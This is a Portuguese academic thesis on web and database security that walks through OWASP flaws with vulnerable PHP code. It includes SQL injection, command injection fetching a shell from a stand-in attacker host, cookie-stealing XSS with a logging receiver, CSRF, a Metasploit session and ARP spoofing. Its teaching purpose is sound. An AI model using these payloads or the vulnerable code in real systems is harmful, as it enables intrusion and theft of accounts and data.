Você está na página 1de 54

UNIVERSIDADE CIDADE DE SO PAULO UNICID GOVERNANA DE TI

JAIRO MORENO DE BARROS JNIOR

GOVERNANA DE TI: SEGURANA EM APLICAES E BANCO DE DADOS

SO PAULO SP 2012

JAIRO MORENO DE BARROS JNIOR

GOVERNANA DE TI: SEGURANA EM APLICAES E BANCO DE DADOS

Trabalho de concluso do Curso apresentado a Universidade Cidade de So Paulo como parte dos requisitos para obteno do ttulo de Ps-Graduao em Governana de TI.

Orientador: Prof. Alexandre Domingos.

SO PAULO SP 2012

JAIRO MORENO DE BARROS JNIOR

GOVERNANA DE TI: SEGURANA EM APLICAES E BANCO DE DADOS

Trabalho de concluso do Curso apresentado a banca examinadora da Universidade Cidade de So Paulo como parte dos requisitos para obteno do ttulo de PsGraduao em Governana de TI.

So Paulo, 05 de maro de 2012

BANCA EXAMINADORA

__________________________________________ Orientador Prof. Alexandre Domingos Universidade Cidade de So Paulo UNICID

__________________________________________ Coordenador Prof. Ederson Martins Universidade Cidade de So Paulo UNICID

SO PAULO SP 2012

AGRADECIMENTOS Dedico esse trabalho a minha mulher Otvia pela pacincia, compreenso e eterno apoio e ao meu amigo Nerval que me mostrou o caminho para rea de TI.

A violncia o ltimo recurso dos ignorantes. Isaac Asimov

RESUMO

A competitividade acirrada de um mercado global, fora empresas a reduzir o custo de mo de obra, seja em quantidade ou em capacitao do profissional. Diversos sistemas so desenvolvidos sobre grande presso de cronogramas apertados e prazos que beiram o impossvel. Ano aps ano, os sistemas computacionais ficam mais complexos. Diversos sistemas hoje ultrapassam mais de um milho de linhas de cdigo. Com um nmero maior de codificao a complexidade desses sistemas aumentam. A ausncia do uso de processos de programao focados em segurana, contribuem para que sejam geradas aplicaes no seguras. O risco de reinci dncia de problemas, testes ineficazes e a adio de novas falhas so potencializa dos. Falta capacitao ao profissional, ferramentas de trabalho, treinamento, assim, at uma pequena distrao pode fazer com que os desenvolvedores cometam falhas que resultem em vulnerabilidades.

Palavras-chave: Segurana da informao, Software Seguro, Vulnerabilidades Web, Banco de Dados Seguro

ABSTRACT

The competitiveness of a global market force companies to reduce their cost of team in numbers or professional training. Several systems are developed on a large pressure tight schedules and deadlines that near of the impossible. Year after year, computer systems become more complex. Several systems today exceed over a million lines of code. With a greater number of coding the complexity of these systems increases. Another problem not using processes programming focused on safety, which increase the risk of recurrence of insecure application . The risk of recurrence of problems, tests ineffective, the addition of new flaws are potentialized. The lack of time, training and even distracting influence developers to commit faults that result in vulnerabilities.

Keywords: Security Information, Secure Software, Web Vuneralibities, Secure Database

NDICE DE ILUSTRAES Ilustrao 1 - Fonte Symantec: Vulnerabilidades em aplicaes / ano..............................10 Ilustrao 2 - Fonte CERT: Sites comprometidos / ano......................................................10 Ilustrao 3 - Tela de login..................................................................................................12 Ilustrao 4 - cdigo login...................................................................................................13 Ilustrao 5 - Busca login....................................................................................................13 Ilustrao 6 - Resultado......................................................................................................13 Ilustrao 7 - consulta tabulada..........................................................................................14 Ilustrao 8 - Cdigo Vulnervel.........................................................................................14 Ilustrao 9 - resultado SQLi...............................................................................................14 Ilustrao 10 - resultado SQLi formatado...........................................................................14 Ilustrao 11 - Tela de Ping.................................................................................................15 Ilustrao 12 - Tela de Ping usando o comando ls.............................................................15 Ilustrao 13 - O invasor instala uma shell chamada jackal.php. ...................................16 Ilustrao 14 - Shell jackal...................................................................................................16 Ilustrao 15 - Tela de Comentrios...................................................................................17 Ilustrao 16 - comentrio malicioso...................................................................................17 Ilustrao 17 - Tela de Comentrios comprometida...........................................................17 Ilustrao 18 - acessa url externa.......................................................................................18 Ilustrao 19 - gravar as informaes das vtimas..............................................................18 Ilustrao 20 - dados roubados...........................................................................................18 Ilustrao 21 - Alterar cookie...............................................................................................18 Ilustrao 22 - Tela de Comentrios cookie clonado..........................................................19 Ilustrao 23 - XSS exemplo 2............................................................................................19 Ilustrao 24 - XSS exemplo 2 tabulado.............................................................................19 Ilustrao 25 - Formulrio altera senha..............................................................................20 Ilustrao 26 - XSS via Post................................................................................................20 Ilustrao 27 - CSRF via Post.............................................................................................21 Ilustrao 28 - CSRF via Post.............................................................................................21 Ilustrao 29 - Acesso direto URL....................................................................................22 Ilustrao 30 - Dados webserver.........................................................................................23 Ilustrao 31 - Red Eye......................................................................................................23 Ilustrao 32 - Metasploit....................................................................................................24 Ilustrao 33 - Listando processos......................................................................................25

Ilustrao 34 - Migrate.........................................................................................................26 Ilustrao 35 - Screenshot...................................................................................................26 Ilustrao 36 - PmsBRQFu.jpeg..........................................................................................26 Ilustrao 37 - Vulnerabilidade sqli com cmdshell............................................................27 Ilustrao 38 - cmdshell......................................................................................................27 Ilustrao 39 - Arquivo criado..............................................................................................28 Ilustrao 40 - Wireshark ftp...............................................................................................29 Ilustrao 41 - Inicia DNS....................................................................................................30 Ilustrao 42 - Envenena ARP............................................................................................30 Ilustrao 43 - Wireshark cookie.........................................................................................30 Ilustrao 44 - Original Cookie Injector...............................................................................31 Ilustrao 45 - Sesso Rede social clonada.......................................................................31 Ilustrao 46 - Senhas em texto plano................................................................................32 Ilustrao 47 - Alerta email..................................................................................................33 Ilustrao 48 - informe post removido.................................................................................33 Ilustrao 49 - Validao de login incorreta........................................................................34 Ilustrao 50 - Listagem direta de arquivos........................................................................34 Ilustrao 51 - Contedo arquivo site.................................................................................35 Ilustrao 52 - Contedo index............................................................................................35 Ilustrao 53 - Cdigo da index...........................................................................................36 Ilustrao 54 - Contedo arquivo site.................................................................................36 Ilustrao 55 - Redireciona..................................................................................................36 Ilustrao 56 - Vrus.............................................................................................................37 Ilustrao 57 - Cdigo redirect............................................................................................38 Ilustrao 58 - Acunetix......................................................................................................40 Ilustrao 59 - W3af............................................................................................................41 Ilustrao 60 - Nessus.........................................................................................................41 Ilustrao 61 - AIDE.............................................................................................................42 Ilustrao 62 - Framework Banshee....................................................................................44

LISTA DE ABREVIATURAS E SIGLAS ARP BD CERT DNS ESAPI HTTP HTTPS IP OWASP PHP SQL TI URL Address Resolution Protocol. Banco de Dados Centro de Estudos, Resposta e Tratamento Domain Name Server Enterprise Security Application Program Interface HyperText Transfer Protocol HyperText Transfer Protocol Secure Internet Protocol Open Web Application Security Project PHP Hypertext Preprocessor Structured Query Language Tecnologia da Informao Uniform Resource Locator

SUMRIO

1 Introduo........................................................................................................................10 2 Vulnerabilidades em aplicaes Web e Banco de Dados..........................................12


2.1 Falhas de Injeo (Injection)...................................................................................................12
2.1.1 Introduo.............................................................................................................................................. 12 2.1.2 Exemplo 1.............................................................................................................................................. 12 2.1.3 Exemplo 2.............................................................................................................................................. 15

2.2 XSS - Cross Site Scripting.......................................................................................................16


2.2.1 Introduo.............................................................................................................................................. 16 2.2.2 Exemplo 1.............................................................................................................................................. 17 2.2.3 Exemplo 2.............................................................................................................................................. 19

2.3 Cross Site Request Forgery (CSRF).......................................................................................20


2.3.1 Introduo.............................................................................................................................................. 20 2.3.2 Exemplo................................................................................................................................................. 21

2.4 Falha ao restringir acesso direto URL..................................................................................21


2.4.1 Introduo.............................................................................................................................................. 21 2.4.2 Exemplo................................................................................................................................................. 22

2.5 Configurao Incorreta de Segurana.....................................................................................22


2.5.1 Introduo.............................................................................................................................................. 22 2.5.2 Exemplo 1.............................................................................................................................................. 22 2.5.3 Exemplo 2.............................................................................................................................................. 23 2.5.4 Exemplo 3.............................................................................................................................................. 24 2.5.5 Exemplo 4.............................................................................................................................................. 27

2.6 Proteo Insuficiente da Camada de Transporte....................................................................28


2.6.1 Introduo.............................................................................................................................................. 28 2.6.2 Exemplo 1.............................................................................................................................................. 29 2.6.3 Exemplo 2.............................................................................................................................................. 29

2.7 Armazenamento Criptogrfico Inseguro..................................................................................32


2.7.1 Introduo.............................................................................................................................................. 32 2.7.2 Exemplo................................................................................................................................................. 32

2.8 Quebra da Autenticao e da Gesto de Sesses.................................................................33


2.8.1 Introduo.............................................................................................................................................. 33 2.8.2 Exemplo................................................................................................................................................. 33

2.9 Referncias Diretas Inseguras a Objetos................................................................................34


2.9.1 Introduo.............................................................................................................................................. 34 2.9.2 Exemplo................................................................................................................................................. 34

2.10 Redirecionamentos e Encaminhamentos Invlidos...............................................................36


2.10.1 Introduo............................................................................................................................................ 36

2.10.2 Exemplo............................................................................................................................................... 36

3 Desenvolvimento de aplicaes seguras....................................................................39


3.1 Introduo................................................................................................................................ 39 3.2 Controles de Proteo............................................................................................................. 39
3.2.1 Falhas de Injeo e XSS - Cross Site Scripting ...................................................................................39 3.2.2 Cross Site Request Forgery .................................................................................................................. 39 3.2.3 Falha ao restringir acesso direto URL ............................................................................................... 39 3.2.4 Configurao Incorreta de Segurana................................................................................................... 40 3.2.5 Proteo Insuficiente da Camada de Transporte...................................................................................43 3.2.6 Armazenamento Criptogrfico Inseguro................................................................................................ 43 3.2.7 Quebra da Autenticao e da Gesto de Sesses................................................................................43 3.2.8 Referncias Diretas Inseguras a Objetos, Redirecionamentos e Encaminhamentos Invlidos ...........43 3.2.9 Utilizao de Frameworks Seguros....................................................................................................... 43

4 Processo de desenvolvimento seguro.........................................................................45


4.1.1 Treinamento em segurana................................................................................................................... 45 4.1.2 Requerimentos...................................................................................................................................... 45 4.1.3 Modelagem............................................................................................................................................ 46 4.1.4 Implementao...................................................................................................................................... 46 4.1.5 Verificao............................................................................................................................................. 46 4.1.6 Lanamento........................................................................................................................................... 46 4.1.7 Resposta a incidentes............................................................................................................................ 47

5 Concluso........................................................................................................................48 6 Referncias......................................................................................................................49

1 INTRODUO

Diariamente sistemas so comprometidos por pessoas mal intencionadas. Milhares de sites hoje esto vulnerveis espera de um ataque bem sucedido. Em 2011 diversos ataques ocorreram, como foi o caso da PS Network da Sony, gerando milhes de dlares em prejuzos. Sites brasileiros so diariamente invadidos. Dados do site do IBGE tambm foram roubados em 2011. O risco imagem da empresa pode ter um custo muito elevado e diversas pessoas podem ter seus dados pessoais divulgados por falta de se gurana em sites. Dados revelados no Symantec Internet Security Threat Report Volume apontam um crescimento no nmero de vulnerabilidades encontrada nos ltimos anos.

Ilustrao 1 - Fonte Symantec: Vulnerabilidades em aplicaes / ano

No Brasil, o CERT mostra dados alarmantes quanto ao aumento do nmero de pgi nas Web comprometidas.

Ilustrao 2 - Fonte CERT: Sites comprometidos / ano

Dado o cenrio apresentado, esse trabalho visa explanar as principais vulnerabilida des existentes em aplicaes Web, demonstrando de forma didtica, a anatomia da ex-

plorao e correo das falhas. Alm de boas prticas de desenvolvimento seguro, dire trizes para o processo de desenvolvimento seguro tambm sero comentados no trabalho. O OWASP (The Open Web Application Security Project) um projeto coordenado por uma comunidade que visa demonstrar quais so as principais falhas em sites e como contorn-las, tornando as aplicaes mais confiveis. As vulnerabilidades tratadas por esse trabalho tero como principal referncia o projeto OWASP.

2 VULNERABILIDADES EM APLICAES WEB E BANCO DE DADOS

2.1 Falhas de Injeo (Injection) 2.1.1 Introduo Falhas de injeo ocorrem quando entradas de dados dos usurios no so tratadas de forma correta, permitindo ento a execuo de comandos indevidamente, criao de arquivos para ganhar acessos indevidos, roubar banco de dados, arquivos e obter aces so privilegiado. 2.1.2 Exemplo 1 Para ilustrar melhor como a falha ocorre, deve-se observar o exemplo abaixo:

Ilustrao 3 - Tela de login

A imagem ilustra uma tela de login, ao qual solicitado um usurio e senha normalmente. No cdigo exibido na ilustrao nota-se que uma consulta realizada em uma tabela do banco de dados chamada usuario. Essa consulta retorna os dados do usurio caso os campos nome e senha forem iguais aos seus correspondentes no banco de dados.

$nome = $_POST['nome']; $senha = $_POST['senha']; if ( $nome ) { $result = mysql_query(" select id from usuarios where nome = '$nome' and senha = '$senha' " ); if ( mysql_num_rows( $result ) == 0 ) { $mensagem = 'senha invlida'; } else { $row = mysql_fetch_array($result); ob_start(); setcookie("id",$row['id'], time()+3600*24*30); ob_end_flush(); header("Location: paginas.php"); exit; } } Ilustrao 4 - cdigo login

Para efeito de observao, ser habilitado o log de comandos do banco de dados. Nesse caso o campo nome ser Admin e a senha 123456. O comando executado exatamente a mesma consulta ao qual foi programado, porm substituindo os valores das variveis $nome e $senha pelos dados preenchidos nos campos nome e senha do formulrio de login.
$result = mysql_query(" select id from usuarios where nome = '$nome' and senha = '$senha' " ); Ilustrao 5 - Busca login

Ao acessar o log do banco de dados no modo debug, essa consulta foi listada confor me exibida na ilustrao 6.
166 Query select id from usuarios where nome = 'admin' and senha = '123456'

Ilustrao 6 - Resultado

A ilustrao 7 exibe a consulta melhor organizada para facilitar o entendimento.

select id from usuarios where nome = 'admin' and senha = '123456' Ilustrao 7 - consulta tabulada

Porm, na programao da aplicao, h uma falha grave: os dados do usurio no foram filtrados.
$nome = $_POST['nome']; $senha = $_POST['senha']; Ilustrao 8 - Cdigo Vulnervel

Essa falha de codificao permitir que um usurio mal intencionado faa altera es indevidas no banco de dados. Para exemplificar agora como a falha explorada, o campo nome ser preenchi do com o contedo or 1 = 1 -- (com aspas simples). No campo senha pode ser colocado qualquer valor por exemplo teste (sem aspas). Ao clicar em enviar, o acesso foi concedido. O nome colocado no campo nome, permitiu esquivar-se da consulta comum. Observando o log, possvel notar como isso acontece. A lgica da consulta que procura o usurio foi modificada.
172 Query select id from usuarios where nome = '' or 1 = 1 -- '' and senha = 'teste'

Ilustrao 9 - resultado SQLi A ilustrao 10 exibe a consulta melhor organizada para facilitar o entendimento.
select id from usuarios where nome = '' or 1 = 1 -- '' and senha = 'teste' Ilustrao 10 - resultado SQLi formatado

A consulta agora tenta obter o cdigo do usurio quando o nome for igual a bran co ou quando 1 for igual a 1. Matematicamente falando, 1 sempre ser igual a 1. Nem maior, nem menor, nem diferente. Se considerarmos que todo contedo que fica aps o -- ignorado, teremos uma instruo que sempre retornar como verdadeiro.

2.1.3 Exemplo 2 Este exemplo, baseia-se em uma pgina que permite verificar se determinado host ou endereo IP est respondendo requisies de comando ping. Esse recurso bastante til para verificar quando uma alterao de DNS foi propagada por diversas partes do mundo. A ilustrao 11 exibe uma pgina web desenvolvida onde o usurio pode validar a resoluo de nome de um host .

Ilustrao 11 - Tela de Ping

Essa tela possui uma falha grave que permite executar comandos dentro do servidor. Ao enviar o comando a | ls -la sero listados os arquivos desse servidor.

Ilustrao 12 - Tela de Ping usando o comando ls

Essa falha permite executar diversos comandos comprometendo gravemente o servidor. Na ilustrao 13, o comando wget utilizado por um invasor para fazer download de um arquivo.

a | wget http://invasor.net/hacker/jackal.txt -O jackal.php Ilustrao 13 - O invasor instala uma shell chamada jackal.php.

Nesse exemplo o invasor realizou download de um script do tipo Shell que facilita a explorao dos dados do site.

Ilustrao 14 - Shell jackal

Na Ilustrao 14 a shell manter o acesso do usurio malicioso ao servidor caso a tela de ping seja corrigida. Nesse exemplo foi usada uma shell em PHP, mas existem shell de diversas linguagens. 2.2 XSS - Cross Site Scripting 2.2.1 Introduo Cross site scripting acontece quando um usurio malicioso fora outros usurios executar javascripts quando uma pgina acessada. Esse cdigos so executados sem que o usurio perceba. Geralmente esses dados so enviados para um servidor externo com dados dos usurios que acessam a pgina afetada. O resultado dessa ao que o invasor pode por exemplo, sequestrar a conta de um site acessado pelo usurio. Os comandos executados so sempre executados na mquina do usurio que est acessando, porm, a vtima pode ser um usurio com privilgios administrativos e ento o invasor poder obter acessos privilegiados.

2.2.2 Exemplo 1 A ilustrao 15 representa uma pgina de um blog que permite enviar comentrios das notcias. Qualquer pessoa pode comentar sobre as notcias.

Ilustrao 15 - Tela de Comentrios

Um usurio mal intencionado poderia enviar um cdigo devidamente preparado no prprio campo comentrio para o blog conforme exibido na ilustrao 16
Obrigado pelo pacote! <script type="text/javascript" src="http://invasor.net/hacker/1.js"></script>

Ilustrao 16 - comentrio malicioso

O funcionamento geral da pgina no foi afetado.

Ilustrao 17 - Tela de Comentrios comprometida

Secretamente,

foi

includo

no

site

contedo

do

arquivo

http://invasor.net/hacker/1.js que est em um servidor externo. Qualquer usurio que acessar essa pgina ir executar o script.

O arquivo 1.js que se encontra em um servidor remoto chamado invasor.net, possui somente duas linhas.
imghack=new Image; imghack.src="http://invasor.net/hacker/obtemcookies.php?url="+document.location+"&cookie="+document.cookie; Ilustrao 18 - acessa url externa

A segunda linha envia o endereo atual e tambm os cookies para o obtemcookies.php no servidor invasor.net. O servidor remoto possui esse arquivo de apenas 7 linhas(ilustrao 19), responsvel por gravar as informaes das vtimas.
<?php $date = new DateTime(); $linha = $date->format('d-m-Y H:i:s') . ';' . $_GET['url'] . ';' . $_GET['cookie']. "\n"; $fh = fopen("cookies.log", 'a') or die("erro ao abrir arquivo"); fwrite($fh, $linha); fclose($fh); ?> Ilustrao 19 - gravar as informaes das vtimas

Sem que o usurio perceba, seus dados foram roubados (ilustrao 20).
02-02-2012 04:43:30;http://www.localhost.com/tcc_vulneravel/detalhes.php?id=1;iduser=1

Ilustrao 20 - dados roubados

De posse da informao do cookie, o usurio responsvel pelo comprometimento do site obteve os dados do cookie iduser=1. E para concluir o sequestro da identidade do usurio administrativo, ele precisa acessar a pgina comprometida e igualar seus prpri os cookies, com os cookies sequestrados do administrador. A ferramenta de programao firebug pode facilitar esse procedimento utilizando o console e digitando: document.cookie=iduser=1;

Ilustrao 21 - Alterar cookie

Ao atualizar a pgina, o usurio receber acesso administrativo sem precisar de senha (ilustrao 22).

Ilustrao 22 - Tela de Comentrios cookie clonado

2.2.3 Exemplo 2 Usando o mesmo site de exemplo, um usurio posta um comentrio como exibido na ilustrao 23:
Seu usurio me pertence!<script type="text/javascript">var http = new XMLHttpRequest();var endereco = "http://www.localhost.com/tcc_vulneravel/usuarios.php";var parametros = "senha1=invasao&senha2=invasao";http.open("POST", endereco, true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.setRequestHeader("Content-length", parametros.length);http.setRequestHeader("Connection", "close");http.send(parametros);</script> Ilustrao 23 - XSS exemplo 2

Ao organizar o cdigo temos as instrues conforme a ilustrao 24.


Seu usurio me pertence! <script type="text/javascript"> var http = new XMLHttpRequest(); var endereco = "http://www.localhost.com/tcc_vulneravel/usuarios.php"; var parametros = "senha1=invasao&senha2=invasao"; http.open("POST", endereco, true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", parametros.length); http.setRequestHeader("Connection", "close"); http.send(parametros); </script> Ilustrao 24 - XSS exemplo 2 tabulado

Sem que o usurio perceba, esse script executou uma requisio que simulou o envio dos dados do formulrio de alterao de senha conforme a ilustrao 25.

Ilustrao 25 - Formulrio altera senha

Ao inspecionar os dados de rede possvel notar que uma requisio post foi envi ada para o formulrio alterando a senha para invasao (ilustrao 26).

Ilustrao 26 - XSS via Post

2.3 Cross Site Request Forgery (CSRF) 2.3.1 Introduo CSRF uma falha que fora aes de um usurio em uma determinada pgina sem que ele perceba. Geralmente aproveita-se de privilgios de em uma conta j autenticada.

O Servidor Web confia nos dados e executa o pedido. Esse mesmo conceito pode ser usando para executar logout, remover dados, transferir valores e diversas outras aes inadvertidamente. 2.3.2 Exemplo Usando o mesmo site como exemplo, um usurio posta o seguinte comentrio conforme a ilustrao 27.
muito ruim esse blog. E todo mundo vai concordar! <img src="http://www.localhost.com/tcc_vulneravel/detalhes.php?id=1&nome=visitante&comentario=Esse+blog++muito+ruim!" width=0 height=0>

Ilustrao 27 - CSRF via Post

O exemplo citado na ilustrao 27 simula uma requisio de envio atravs de uma tag de imagem. Nesse caso, o resultado que todos os visitantes viro involuntariamente postar a mensagem Esse blog muito ruim.

Ilustrao 28 - CSRF via Post

2.4 Falha ao restringir acesso direto URL 2.4.1 Introduo Essa falha bem simples. O fato de que determinado endereo no referenciado em alguma pgina, no protege que o mesmo seja descoberto ou acessado por usurios mal intencionados.

2.4.2 Exemplo Essa falha pode ser explorada acessando diretamente pelo navegador uma pgina que usurios comuns no deveriam ter acesso. Por exemplo, o usurio acessa a pgina diretamente no endereo do navegador: http://www.localhost.com/tcc_vulneravel/usuarios.php. Hoje alguns scanners de vulnerabilidade j possuem uma lista de palavras mais comuns como admin, administrator, phpmyadmin, devel, users, etc.

Ilustrao 29 - Acesso direto URL

2.5 Configurao Incorreta de Segurana 2.5.1 Introduo Alguns ambientes podem ficar comprometidos quando as configuraes no foram realizadas pensando na segurana do mesmo. Esse um problema que pode ocorrer em diversos pontos da rea de Tecnologia, que vo desde a a configurao de permisses de acesso de uma aplicao ou banco de dados, at o tratamento das entradas de da dos, onde o invasor pode obter detalhes do sistema operacional, entre outros. 2.5.2 Exemplo 1 Nesse exemplo real, informaes foram distorcidas na imagem para preservar a integridade do site. Trata-se de uma pgina Web de um arquivo que no foi encontrado no servidor. Essa pgina exibe informaes do servidor Web ( IIS 7.0 ), pasta no sistema operacional E:\domains\ . Essas informaes podero ser utilizadas para explorar falhas desses servios.

Ilustrao 30 - Dados webserver

2.5.3 Exemplo 2 Nesse exemplo, as configuraes do banco de dados esto incorretas, o que permite que usurio mal intencionado explore no s o banco de dados da aplicao atual, como outros bancos de dados atravs de SQL Injection. Existem algumas aplicaes que automatizam a explorao da falha, como por exemplo a ferramenta SQL Injection Red Eye. Uma aplicao no segura acaba comprometendo a segurana de um ambiente seguro, por erro de configurao em um banco de dados.

Ilustrao 31 - Red Eye

2.5.4 Exemplo 3 comum algumas aplicaes e bibliotecas serem lanadas com alguma vulnerabili dade ainda no descoberta. Quando no feito o devido acompanhamento de novos patches, ou verses novas, uma brecha pode ser explorada nessas falhas. Exploits so programas ou scripts que exploram essas falhas dos programas, scripts, bibliotecas, sistemas operacionais, etc. O Banco de Dados MICROSOFT SQL SERVER 2000 e 2005 possui uma falha que permite executar comandos indevidamente no servidor. Essa falha foi reconhecida e divulgada no Microsoft Security Bulletin MS09-004. Na ilustrao 32 est sendo utilizado um framework para desenvolvimento e execuo de exploits. Aqui o atacante (IP 192.168.1.1) se conecta ao banco de dados (IP 192.168.1.103).

Ilustrao 32 - Metasploit

primeiro

comando

seleciona

exploit

desejado,

que

no

caso

ms09_004_sp_replwritetovarbin_sqli.

Note que no incio da execuo do script escolhido um Payload, que vai agir como uma extenso do exploit e se comportar como uma shell dentro do servidor. So definidas as variveis para o servidor de origem (usado para uma conexo rever sa), servidor de destino, usurio e senha. A ordem de execuo feita com o comando exploit. Na Ilustrao 32, o comando ipconfig identificou como sendo o IP 192.168.1.103 (que do banco de dados) e agora todos os comandos sero executados no servidor vulnervel. Esse payload escolhido possui diversos recursos poderosos que podem ser utiliza dos para monitorar e esconder as atividades que esto sendo realizadas.
meterpreter > ps Process list ============ PID Name --- ---1512 sqlservr.exe 1524 ntfrs.exe frs.exe 1644 svchost.exe 1664 sqlbrowser.exe 1732 msftesql.exe 1964 svchost.exe chost.exe 2268 wmiprvse.exe 2556 wmiprvse.exe 3060 explorer.exe rer.EXE Ilustrao 33 - Listando processos x86 0 x86 0 x86 0 C:\WINDOWS\system32\wbem\wmiprvse.exe AUTORIDADE NT\SYSTEM LANDOFTHELOST\Administrador C:\WINDOWS\Explox86 0 x86 0 x86 0 x86 0 C:\WINDOWS\system32\svchost.exe LANDOFTHELOST\Administrador C:\Arquivos de LANDOFTHELOST\Administrador C:\Arquivos de AUTORIDADE NT\SYSTEM C:\WINDOWS\System32\svArch Session User ---- ------- ---x86 0 x86 0 ---LANDOFTHELOST\Administrador C:\Arquivos de AUTORIDADE NT\SYSTEM C:\WINDOWS\system32\ntPath

programas\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe

programas\Microsoft SQL Server\90\Shared\sqlbrowser.exe programas\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\msftesql.exe

C:\WINDOWS\system32\wbem\wmiprvse.exe

possvel tambm, migrar o payload para outro processo, como por exemplo, o Win dows Explorer, sem perder o acesso.

meterpreter > getpid Current pid: 1512 meterpreter > migrate 3060 [*] Migrating to 3060... [*] Migration completed successfully. meterpreter > getpid Current pid: 3060 Ilustrao 34 - Migrate

Tambm possvel capturar a tela do servidor utilizando o comando screenshot conforme pode ser observado nas ilustraes 35 e 36.
meterpreter > screenshot Screenshot saved to: /opt/msf/PMsBRQFu.jpeg

Ilustrao 35 - Screenshot

Ilustrao 36 - PmsBRQFu.jpeg

Diversas ferramentas podem ser utilizadas para comprometer ainda mais o servidor.

2.5.5 Exemplo 4 Alguns procedimentos armazenados podem ser muito perigosos caso no sejam devidamente desabilitados ou restrito para um grupo A ilustrao 37 exibe um script que ao passar um cdigo como parmetro, retorna um nome.

Ilustrao 37 - Vulnerabilidade sqli com cmdshell

O Microsoft SQL Server possui uma Extended Procedure chamada xp_cmdshell que executa comandos no servidor. No exemplo ctado na ilustrao 38, utiliz-se um sql injection que executa esse procedimento armazenado.

Ilustrao 38 - cmdshell

No final da URL 1; exec master..xp_cmdshell 'echo invadido > c:\teste.txt'; que retorna o nome do usurio, porm logo aps, cria um arquivo no diretrio c:\.

O IP de onde o arquivo c:\teste.txt foi criado 192.168.1.103, ou seja, o banco de dados; porque os procedimentos armazenados de banco de dados rodam diretamente no servidor onde ele est instalado e no onde o PHP executado.
Microsoft Windows [verso 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Documents and Settings\Administrador>ipconfig Configurao de IP do Windows

Adaptador Ethernet Conexo local: Sufixo DNS especfico de conexo . : Endereo IP. . . . . . . . . . . . : 192.168.1.103 Mscara de sub-rede. . . . . . . . : 255.255.255.0 Gateway padro . . . . . . . . . . : 192.168.1.1 C:\Documents and Settings\Administrador>dir c:\ O volume na unidade C no tem nome. O nmero de srie do volume DC5F-5158 Pasta de c:\ 05/03/2012 05:29 04/03/2012 20:19 04/03/2012 20:19 04/03/2012 20:24 05/03/2012 05:30 05/03/2012 07:18 05/03/2012 05:45 04/03/2012 20:20 5 pasta(s) <DIR> <DIR> <DIR> <DIR> <DIR> Arquivos de programas 0 AUTOEXEC.BAT 0 CONFIG.SYS Documents and Settings Downloads 11 teste.txt WINDOWS wmpub 11 bytes 873.615.360 bytes disponveis Ilustrao 39 - Arquivo criado

3 arquivo(s)

2.6 Proteo Insuficiente da Camada de Transporte 2.6.1 Introduo Em um ambiente de rede, muitos dados podem circular sem a devida proteo. Dados sem criptografia que trafegam em redes, podem ser capturados e at forjados. Ferra -

mentas do tipo Sniffers podem capturar dados que circulam por uma intranet. Alguns ser vios como FTP, SMTP, POP3, HTTP, LDAP, ODBC entre outros, quando no configurados corretamente, trafegam em texto claro (Clear Text). 2.6.2 Exemplo 1 Nesse exemplo, uma conexo FTP foi capturada pelo sniffer Wireshark. possvel notar que os dados trafegam sem qualquer proteo (ilustrao 40).

Ilustrao 40 - Wireshark ftp

2.6.3 Exemplo 2 Diferente do protocolo HTTPS, o protocolo HTTP no possui criptografia de dados. As informaes dos cookies que armazenam a sesso de sites so enviados em cada re quisio. Esses dados podem ser capturados e registrados em outro navegador, e por consequncia, clonar a sesso de um usurio. Um usurio mal intencionado conecta-se em uma rede e inicia em sua prpria mquina, um servio de DNS (devidamente configurado para encaminhar os pacotes) e habilita o encaminhamento de IP (ilustrao 41).

root@zion:~# root@zion:~# echo 1 > /proc/sys/net/ipv4/ip_forward root@zion:~# /etc/init.d/bind9 restart * Stopping domain name service... bind9 * Starting domain name service... bind9 root@zion:~# [ OK ] [ OK ]

Ilustrao 41 - Inicia DNS

Para obter todos os pacotes da rede, um envenenamento de ARP executado (ilus trao 42).

root@zion:~# arpspoof -i eth2 192.168.1.1 0:e0:52:c8:c1:83 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:e0:52:c8:c1:83 0:e0:52:c8:c1:83 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:e0:52:c8:c1:83 0:e0:52:c8:c1:83 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:e0:52:c8:c1:83

Ilustrao 42 - Envenena ARP

iniciada a captura dos dados utilizando um sniffer. Neste caso foi utilizado o wi reshark para automatizar o processo. Ao analisar os pacotes possvel verificar os dados de uma rede social. Os dados do cookie ento so copiados (ilustrao 43).

Ilustrao 43 - Wireshark cookie

Com os dados do cookie, s preciso que esses dados sejam aplicados no navega dor. Um script que pode auxiliar nessa tarefa o Original Cookie Injector, que uma vez instalado, basta apertar as teclas ALT+C, colar os dados do cookie copiados no wireshark e clicar em ok (ilustrao 44).

Ilustrao 44 - Original Cookie Injector

Ao atualizar a pgina, pode ser verificado que a sesso foi clonada(ilustrao 45).

Ilustrao 45 - Sesso Rede social clonada

2.7 Armazenamento Criptogrfico Inseguro 2.7.1 Introduo Algumas aplicaes so desenvolvidas sem o devido cuidado, como as aplicaes de armazenamento de senhas. Senhas que so armazenadas sem proteo criptogrfica, podem fragilizar o ambiente. Muitos usurios usam a mesma senha para fruns, sites, aplicaes e e-mail pessoal. Sendo assim, boa parte da privacidade de um usurio pode estar comprometida por causa de uma nica aplicao que no protegeu os dados como deveria. 2.7.2 Exemplo Na pgina desenvolvida para teste, a senha gravada sem a proteo correta. Uma vez a pgina esteja comprometida, as senhas dos usurios so reveladas para um usurio malicioso. Na ilustrao 46 as senhas armazenadas na tabela usuario so visualizadas sem dificuldade pelo o invasor utilizando a ferramenta Red Eye.

Ilustrao 46 - Senhas em texto plano

2.8 Quebra da Autenticao e da Gesto de Sesses 2.8.1 Introduo Muitas aplicaes no gerenciam corretamente a sesso dos usurios. Aes podem ser realizadas sem que a sesso seja validada corretamente. 2.8.2 Exemplo Na ilustrao 47 o usurio administrador de um blog recebe um e-mail de notificao quando o comentrio de um visitante enviado pgina (ilustrao 47).

Ilustrao 47 - Alerta email

Ao clicar no link, a sesso no verificada corretamente e, usurio e senha no so solicitados pelo site (ilustrao 48).

Ilustrao 48 - informe post removido

Qualquer usurio de posse dessa URL, poderia remover e executar qualquer ao dentro do site porque o site registra o usurio como logado sem pedir a senha (ilustrao 49).

